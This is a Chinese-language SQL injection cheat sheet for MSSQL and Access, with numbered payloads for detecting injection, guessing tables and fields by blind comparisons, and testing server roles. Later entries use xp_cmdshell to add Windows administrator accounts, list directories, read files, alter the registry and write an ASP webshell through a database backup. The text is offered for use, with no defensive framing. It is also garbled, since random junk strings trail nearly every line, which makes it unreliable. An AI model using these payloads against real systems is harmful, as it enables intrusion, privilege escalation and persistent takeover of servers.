1.判断是否有注入;and 1=1 ;and 1=2 -Go 7"j
2.初步判断是否是mssql ;and user>0 d5 7i)=
qqrq11W
3.注入参数是字符'and [查询条件] and ''=' svf|\p>]H
jz58E}
4.搜索时没过滤参数的'and [查询条件] and '%25'=' ?L&|Uw+
$-}e; V Zb
5.判断数据库系统 *^%Q0mU[
I/gjenUK
;and (select count(*) from sysobjects)>0 mssql qt%D'
b` Hz$8
;and (select count(*) from msysobjects)>0 access O3DmNq$dz
a2Pf/D]n
,JU@|`
G)v
#+4
6.猜数据库 ;and (select Count(*) from [数据库名])>0 W6 H,6v
l<0}l^C.
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 X4l@woh%
^j#rZ;uc
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 YQJ==C1
yeDsJ/L
9.(1)猜字段的ascii值(access) ^V$Ajt
ivDGZI9
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 M])dJ9&e
;{h CF
(2)猜字段的ascii值(mssql) ]I3!fEAWR
,C%eBna4Iq
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 EI!6MC)
Um#Wu]i
10.测试权限结构(mssql) PxH72hBS
D?XM,l+
JRo?s~Ih
FFdBtB
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- b4^`DHRu6
;q N+^;,2
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- *HEuorl
>D201&*G%
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- )jrV#/m9
P) 3mX.(}
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- oy<WsbnS
Y%`xDI
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- b[V^86X^
A\8}|r(>9E
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- K2%w0ohC
,^#yo6-
;and 1=(select IS_MEMBER('db_owner'));-- KM^ufF2[
y~()|L[
ME'|saP
da)NK!
11.添加mssql和系统的帐户 Aq3}Ng
8Q_SRwN
;exec master.dbo.sp_addlogin username;-- >jD[X5Y
;exec master.dbo.sp_password null,username,password;-- p<M\U"5Ye
(}}S9 K
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- W`c'=c
M Y|w
;exec master.dbo.xp_cmdshell 'net user username password "
Hd|7F'u=
YnLErJ
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- \hCH>*x<
{%_L=2n6
;exec master.dbo.xp_cmdshell 'net user username password /add';-- "etPT@gF
j~*L~7
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- W.kM7z>G
6{txm+U
itC-4^
Ja9e^`i;
12.(1)遍历目录 D9M:^
s6>ZREf#J
;create table dirs(paths varchar(100), id int) =:~R=/ZXk
KEWTBBg
;insert dirs exec master.dbo.xp_dirtree 'c:\' >,td(= :
jy'13G/b\
;and (select top 1 paths from dirs)>0 z[Xd%mhjO
P#AW\d^"B
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) TqnTS0fx
>y,-v:Vy
%n*-VAfE\
aA,!<^&}
(2)遍历目录 K.0:C`C
Hw4%uS==V
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 1YH+d0UGn
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 MG.`
r{5
Hro-d1J7
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 Dd\jHF>u
9Q"'"b*?z
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 >3Eo@J,?d
I"GB<oB
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 EVGt 5z
+llR204
!jTcsN%
Y=Kc'x[,Zj
13.mssql中的存储过程 8SGo9[U2
&G-!qxe
xp_regenumvalues 注册表根键, 子键 .X;3,D[w
/{&tY:;m
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 bD?VU<)3
R~PA1wDZ
xp_regread 根键,子键,键值名 #)nSr
aeD ;5VV
;exec xp_regread sfNE68I2
!4X
f~P
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 I"ok&^t^}
f.9SB
xp_regwrite 根键,子键, 值名, 值类型, 值 p9x(D/YP0
5rU[Tir
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 OOo3G~2r
0.@&_XTPl
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 "/wyZ
h-[VH%
xp_regdeletevalue 根键,子键,值名 $69oV:
=o$sxb
E(
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 y]f"@9G#
tIuCct-
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 .?loO3 m
:s7m4!EF
\hx1o\
&__es{;P
14.mssql的backup创建webshell r/u A.Aou^
xjKR R?
use model GU( _
;;#qmGoE
create table cmd(str image); r2,.abo
N(Fp0
insert into cmd(str) values (''); Tu).K.p:
AHX St
backup database model to disk='c:\l.asp'; LhA/xf
pu2tY7Ja
)mF5Vw"
@}}$zv6l,
15.mssql内置函数 u=`L)
\nPEyw,U
;and (select @@version)>0 获得Windows的版本号 ~Vr.J}]J
)p<ExMIxd
;and user_name()='dbo' 判断当前系统的连接用户是不是sa ~?K ~L~f5
0.8 2kl
;and (select user_name())>0 爆当前系统的连接用户 }&wUr>=
^c9t'V`IWQ
;and (select db_name())>0 得到当前连接的数据库 CEX"D`
AP'*Nh@Ik(
hEKf6#
Z{]0jhUyNh
16.简洁的webshell 7$CBx/X50)
HTX?,C_
use model Brf5dT49
PoG-Rqe
create table cmd(str image); XAF+0 x!
X\{LnZ@r4
insert into cmd(str) values (''); < t,zaIi
jIC_[
backup database model to disk='g:\wwwtest\l.asp';